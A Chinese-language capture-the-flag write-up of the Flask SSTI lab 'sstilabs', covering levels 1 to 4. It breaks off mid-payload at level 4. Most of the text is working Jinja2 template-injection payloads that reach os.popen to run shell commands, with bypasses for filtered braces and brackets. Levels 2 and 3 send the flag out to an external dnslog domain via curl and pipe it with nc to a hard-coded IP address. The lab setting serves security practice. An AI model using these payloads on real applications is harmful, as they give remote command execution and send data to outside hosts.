flask ssti lab闯关记录
sstilab是一个模板注入的靶场,目前只有Flask模板注入的练习
地址:https://github.com/X3NNY/sstilabs
level 1
判断出是post方法
借用bp的intrude模块查看可以利用的类,这里查找的模块是__import__
发现80、81、82、83可以有__import__
模块,加以利用得到payload
{
{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("cat flag").read()}}
打过去获得flag
还可以尝试其他模块,比如__builtins__
,popen
,os
,sys
。
# __builtins__
{
{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}
# popen
{
{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}
# os
{
{().__class__.__base__.__subclasses__()[213].__init__.__globals__['os'].popen('cat flag').read()}}
level 2
过滤了{ }
,用{%%}
替代。这里有两种方法绕过
-
print标记
{%print [].__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("cat flag").read()%}
-
dnslog外带
{% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}
level 3
这道是盲注,有两种方法绕过
-
dnslog外带
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{ { i.__init__.__globals__['os'].popen('curl http://`cat flag`.0ppgif.ceye.io').read()}}{% endif %}{% endfor %}
-
通过
nc
命令将文件内容回显到自己的服务器上{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{ { i.__init__.__globals__['os'].popen('cat flag|nc 119.91.214.224 1234').read()}}{% endif %}{% endfor %}
level 4
过滤了[ ]
,这里有两种情况下的过滤
- 使用
pop
或__getitem__()
代替索引中的[]
- 使用
__getattribute__
代替魔术方法中的[]
# os
{
{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(213).__init__.__globals__.__getitem__('os').popen('cat fl